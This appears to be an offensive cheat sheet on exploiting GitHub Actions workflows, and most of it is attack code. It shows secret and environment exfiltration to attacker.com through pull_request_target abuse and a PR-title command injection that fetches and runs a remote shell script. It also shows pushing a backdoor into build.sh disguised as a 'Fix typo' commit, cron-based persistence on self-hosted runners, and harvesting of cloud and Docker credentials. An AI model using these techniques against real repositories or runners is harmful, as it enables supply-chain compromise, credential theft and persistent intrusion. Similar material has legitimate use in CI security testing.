🔥 Advanced
GitHub Actions Exploitation
GitHub Actions is a prime target for supply chain attacks. Misconfigurations can leak secrets, enable code execution, and provide persistence in CI/CD pipelines.
Dangerous Event Triggers
| Trigger | Risk Level | Why It's Dangerous |
|---|---|---|
| pull_request_target | 🔴 CRITICAL | Runs with base repo secrets + attacker-controlled code |
| workflow_run | 🟠 HIGH | Can be triggered by untrusted workflows |
| issue_comment | 🟡 MEDIUM | Any user can trigger with comments |
| pull_request | 🟢 LOW | No secrets for forked PRs (safe default) |
pull_request_target Exploit
The Most Dangerous Misconfiguration
pull_request_target runs with full repo secrets even on forked PRs. If combined with actions/checkout of PR code, it's immediate RCE + secret theft.
bash
# STEP 1: Find vulnerable workflow pattern
# Look for this in .github/workflows/*.yml:
on: pull_request_target
jobs:
build:
steps:
- uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.sha }} # 💀 VULNERABLE
# STEP 2: Fork the repo and create malicious PR
# Modify any script that gets executed:
# build.sh:
#!/bin/bash
curl -X POST -d "token=${{ secrets.GITHUB_TOKEN }}" https://attacker.com/steal
curl -X POST -d "aws=$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" https://attacker.com/steal
env | curl -X POST -d @- https://attacker.com/env
# STEP 3: Create PR - secrets exfiltrated on CI runCommand Injection Vectors
User-controlled inputs that flow into run: commands are injectable:
Injectable Contexts
- • github.event.pull_request.title
- • github.event.pull_request.body
- • github.event.issue.title
- • github.event.issue.body
- • github.event.comment.body
- • github.head_ref (branch name)
Safe Contexts
- • github.repository
- • github.repository_owner
- • github.actor (mostly)
- • github.sha
- • github.run_id
bash
# VULNERABLE WORKFLOW:
- run: echo "Building: ${{ github.event.pull_request.title }}"
# PAYLOAD: Create PR with title:
a]"; curl https://attacker.com/shell.sh | bash; echo "
# Or use backticks in the title:
# $(curl attacker.com/x.sh|bash)
# RESULT: Your shell script executes with CI permissionsGITHUB_TOKEN Abuse
The auto-generated GITHUB_TOKEN has powerful permissions by default:
bash
# Default GITHUB_TOKEN permissions (if not restricted):
# - contents: write (push code!)
# - pull-requests: write
# - issues: write
# - packages: write
# Exfiltrate the token
- run: |
curl -X POST -H "Content-Type: application/json" \
-d '{"token":"'${{ secrets.GITHUB_TOKEN }}'"}' \
https://attacker.com/collect
# Use stolen token to push backdoor:
git clone https://x-access-token:${GITHUB_TOKEN}@github.com/target/repo.git
cd repo
echo "curl attacker.com/beacon|bash" >> scripts/build.sh
git add . && git commit -m "Fix typo"
git push origin mainworkflow_run Exploitation
Indirect Attack
workflow_run triggers after another workflow completes. If the triggering workflow is attackable (e.g., runs on PRs), the downstream workflow inherits the attack.
bash
# Target has two workflows:
# 1. untrusted-trigger.yml (runs on PRs - limited permissions)
on: pull_request
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- run: npm test
# 2. deploy.yml (runs after untrusted workflow - HAS SECRETS!)
on:
workflow_run:
workflows: ["Build"]
types: [completed]
jobs:
deploy:
if: github.event.workflow_run.conclusion == 'success'
steps:
- uses: actions/checkout@v3
with:
ref: ${{ github.event.workflow_run.head_sha }} # 💀 Checks out PR code!
- run: ./deploy.sh # Attacker controls this file
env:
DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }} # Exfiltrated!Self-Hosted Runner Attacks
Self-hosted runners are goldmines - they persist between jobs and often have network access to internal systems.
bash
# If org allows forked PRs to run on self-hosted runners... game over
# 1. Persistence (survives between jobs)
echo '* * * * * curl attacker.com/beacon.sh | bash' | crontab -
# 2. Credential harvesting
# AWS credentials often available
cat ~/.aws/credentials
env | grep -i aws
env | grep -i azure
cat ~/.docker/config.json
# 3. Internal network pivot
# Runners often on internal network
nmap -sn 10.0.0.0/8 192.168.0.0/16 172.16.0.0/12
curl http://169.254.169.254/latest/meta-data/ # AWS metadata
# 4. Previous job artifacts
find /home/runner -name "*.env" -o -name "*.pem" -o -name "*.key"
cat /home/runner/work/_temp/*.sh # Workflow scripts
# 5. Source code from other repos
ls -la /home/runner/work/Enumeration & Recon
bash
# Find all workflow files in a repo
find . -path ".github/workflows/*.yml" -o -path ".github/workflows/*.yaml"
# Search for dangerous patterns with grep
grep -r "pull_request_target" .github/workflows/
grep -r "github.event.pull_request.title" .github/workflows/
grep -r "github.event.issue.body" .github/workflows/
grep -r "workflow_run" .github/workflows/
grep -r "runs-on: self-hosted" .github/workflows/
# Check workflow permissions
grep -A5 "permissions:" .github/workflows/*.yml
# GitHub API - list workflows
curl -H "Authorization: token $GITHUB_TOKEN" \
https://api.github.com/repos/OWNER/REPO/actions/workflows
# Get workflow runs (check for secrets in logs)
curl -H "Authorization: token $GITHUB_TOKEN" \
https://api.github.com/repos/OWNER/REPO/actions/runs